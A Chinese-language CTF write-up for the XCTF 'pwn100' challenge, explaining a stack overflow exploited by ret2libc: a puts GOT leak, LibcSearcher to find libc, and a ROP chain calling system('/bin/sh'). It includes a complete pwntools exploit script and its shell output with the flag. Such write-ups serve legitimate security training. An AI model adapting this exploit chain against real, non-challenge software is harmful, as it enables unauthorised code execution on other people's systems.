天天看點

pwn100 [XCTF-PWN][高手進階區]CTF writeup攻防世界題解系列16

題目位址:pwn100

本題已經是高手進階區的第五題了,難度也在不斷加大。需要補充的知識點也越來越多了。

廢話不說,看看題目

pwn100 [XCTF-PWN][高手進階區]CTF writeup攻防世界題解系列16

沒什麼建議和描述,那就先下載下傳附件,看看保護機制

[email protected]:/ctf/work/python/pwn-100# checksec d0b5f9b486bb480c9035839ec896252e 
[*] '/ctf/work/python/pwn-100/d0b5f9b486bb480c9035839ec896252e'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)           

隻開了NX,那就可以做棧溢出。

打開ida看了一些,這個程式比較簡單,直接上c語言代碼,我簡單的調整了一下變量命名:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  go_game();
  return 0LL;
}

int go_game()
{
  char szInputString; // [rsp+0h] [rbp-40h]

  read_string((__int64)&szInputString, 200);
  return puts("bye~");
}

__int64 __fastcall read_string(__int64 pszBuffer, signed int nSize)
{
  __int64 result; // rax
  signed int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= nSize )
      break;
    read(0, (void *)(i + pszBuffer), 1uLL);
  }
  return result;
}           

注意到溢出點在go_game,很明顯的read函數溢出。

檢查了一下system和/bin/sh在程式裡面都沒有。是以我本次準備采用LibcSearcher,這個子產品可以幫助我們從讀取到的libc運作庫函數位址,确定libc的基位址,進而通過偏移來确定system和/bin/sh。

我們先建構一下payload,一共需要兩個payload:

1、擷取puts函數位址

payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(200, 'B')           

2、運作system('/bin/sh')

payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200, 'B')           

繼續說一下pop_rdi_ret的擷取方法

[email protected]:/ctf/work/python/pwn-100# ROPgadget --binary d0b5f9b486bb480c9035839ec896252e --only "pop|ret" | grep rdi
0x0000000000400763 : pop rdi ; ret           

main_addr就是main函數的位址,其他的變量定義可以直接看python腳本,具體如下:

#coding:utf8

from pwn import *
from LibcSearcher import * 
# context.log_level = 'debug'
process_name = './d0b5f9b486bb480c9035839ec896252e'
# p = process(process_name)
p = remote('111.198.29.45', 39499)
elf = ELF(process_name)

main_addr = 0x4006B8
pop_rdi_ret = 0x400763
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def get_puts(p):
	payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
	payload = payload.ljust(200, 'B')

	p.send(payload)
	p.recvuntil('bye~\n')
	puts_addr = u64(p.recv(6).ljust(8, '\x00'))
	log.info("puts_addr => %#x", puts_addr)
	p.recv(1)

	return puts_addr

puts_addr = get_puts(p)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload = 'A' * (0x40+8) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = payload.ljust(200, 'B')
p.sendline(payload)

p.interactive()           

執行結果如下:

[email protected]:/ctf/work/python/pwn-100# python pwn-100.py 
[+] Opening connection to 111.198.29.45 on port 39499: Done
[*] '/ctf/work/python/pwn-100/d0b5f9b486bb480c9035839ec896252e'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] puts_addr => 0x7efcfcba5690
Multi Results:
 0: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
 1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
 2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
 3: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 4: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
Please supply more info using 
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:3
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] Switching to interactive mode
bye~
$ cat flag
cyberpeace{fa9353aa34f02d8d6044608735bd457e}
$  
           

執行成功,拿到了flag。

本題的知識點主要是在沒有system和/bin/sh的情況下如何通過棧溢出來獲得libc的基位址,進而完成system及/bin/sh的推算。